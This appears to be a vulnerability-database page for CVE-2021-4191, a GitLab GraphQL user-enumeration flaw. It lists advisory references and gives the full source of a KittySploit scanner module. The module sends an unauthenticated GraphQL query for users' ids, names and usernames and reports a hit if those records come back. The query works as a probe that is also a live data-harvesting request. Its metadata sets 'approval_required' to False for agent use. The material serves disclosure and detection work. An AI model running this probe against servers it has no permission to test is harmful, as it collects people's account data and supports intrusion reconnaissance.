GitLab GraphQL API User Enumeration Detection
| Reporter | Title | Published | Views | Family All 40 |
|---|---|---|---|---|
| Gitlab -- multiple vulnerabilities | 25 Feb 202200:00 | – | freebsd | |
| Exploit for CVE-2021-4191 | 20 Aug 202414:39 | – | gitee | |
| CVE-2021-4191 | 28 Mar 202219:15 | – | attackerkb | |
| Exploit for CVE-2021-4191 | 10 Oct 202501:53 | – | githubexploit | |
| CVE-2021-4191 | 4 Mar 202211:22 | – | circl | |
| GitLab Enterprise Edition和GitLab Community Edition 授权问题漏洞 | 28 Feb 202200:00 | – | cnnvd | |
| CVE-2021-4191 | 28 Mar 202218:53 | – | cve | |
| CVE-2021-4191 | 28 Mar 202218:53 | – | cvelist | |
| CVE-2021-4191 | 28 Mar 202218:53 | – | debiancve | |
| FreeBSD : Gitlab -- multiple vulnerabilities (2823048d-9f8f-11ec-8c9c-001b217b3468) | 10 Mar 202200:00 | – | nessus |
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#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""An unauthenticated remote attacker can leverage this vulnerability to collect registered GitLab usernames, nam."""
from kittysploit import *
from lib.protocols.http.http_client import Http_client
class Module(Scanner, Http_client):
__info__ = {
'name': 'GitLab GraphQL API User Enumeration Detection',
'description': 'An unauthenticated remote attacker can leverage this vulnerability to collect registered GitLab usernames, names, and email addresses.',
'author': ['KittySploit Team'],
'severity': 'medium',
'tags': ['web', 'scanner', 'cve2021', 'cve', 'gitlab', 'api', 'graphql', 'enum', 'unauth', 'vkev', 'vuln'],
'agent': {
'risk': 'active',
'effects': ['network_probe'],
'expected_requests': 1,
'reversible': True,
'approval_required': False,
'produces': ['tech_hints', 'risk_signals', 'endpoints'],
'cost': 1.0,
'noise': 0.4,
'value': 1.0,
'requires': {
'min_endpoints': 0,
'min_params': 0,
'tech_hints_any': [],
'tech_hints_all': [],
'specializations_any': [],
'risk_signals_any': [],
'auth_session': False,
'capabilities_any': [],
'capabilities_all': [],
'confidence_min': {},
'confidence_min_any': {},
'endpoint_pattern_any': [],
'param_any': [],
'api_surface_ready': False,
},
'chain': {
'produces_capabilities': [
{
'capability': 'risk_signal',
'from_detail': '',
},
],
'consumes_capabilities': [],
'option_bindings': {},
'suggested_followups': [],
},
},
'references': [
'https://www.rapid7.com/blog/post/2022/03/03/cve-2021-4191-gitlab-graphql-api-user-enumeration-fixed/',
'https://thehackernews.com/2022/03/new-security-vulnerability-affects.html',
'https://cve.mitre.org/cgi-bin/cvename.cgi?name=2021-4191',
'https://gitlab.com/gitlab-org/gitlab/-/issues/343898',
'https://gitlab.com/gitlab-org/cves/-/blob/master/2021/CVE-2021-4191.json',
],
'cve': 'CVE-2021-4191',
}
def run(self):
path = '/api/graphql'
r = self.http_request(method='POST', path=path, allow_redirects=False, headers={'Content-Type': 'application/json', 'Accept': '*/*', 'Origin': '{{RootURL}}', 'Referer': '{{RootURL}}/-/graphql-explorer'}, data='{"query":"# Welcome to GraphiQL\\n#\\n# GraphiQL is an in-browser tool for writing, validating, and\\n# testing GraphQL queries.\\n#\\n# Type queries into this side of the screen, and you will see intelligent\\n# typeaheads aware of the current GraphQL type schema and live syntax and\\n# validation errors highlighted within the text.\\n#\\n# GraphQL queries typically start with a \\"{\\" character. Lines that starts\\n# with a # are ignored.\\n#\\n# An example GraphQL query might look like:\\n#\\n# {\\n# field(arg: \\"value\\") {\\n# subField\\n# }\\n# }\\n#\\n# Keyboard shortcuts:\\n#\\n# Prettify Query: Shift-Ctrl-P (or press the prettify button above)\\n#\\n# Run Query: Ctrl-Enter (or press the play button above)\\n#\\n# Auto Complete: Ctrl-Space (or just start typing)\\n#\\n\\n{\\n users {\\n nodes {\\n id\\n name\\n username\\n }\\n }\\n}","variables":null,"operationName":null}\n')
if not r or r.status_code != 200:
return False
body = r.text or ""
body_all = ('"data"', '"users"', '"nodes"', '"id"', 'gid://',)
if all(m in body for m in body_all):
self.set_info(severity='medium', reason='GitLab GraphQL API User Enumeration detected', path=path)
return True
return False
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28 Jul 2026 11:27Current
7.2High risk
Vulners AI Score7.2
CVSS 25
CVSS 3.15.3
EPSS0.80004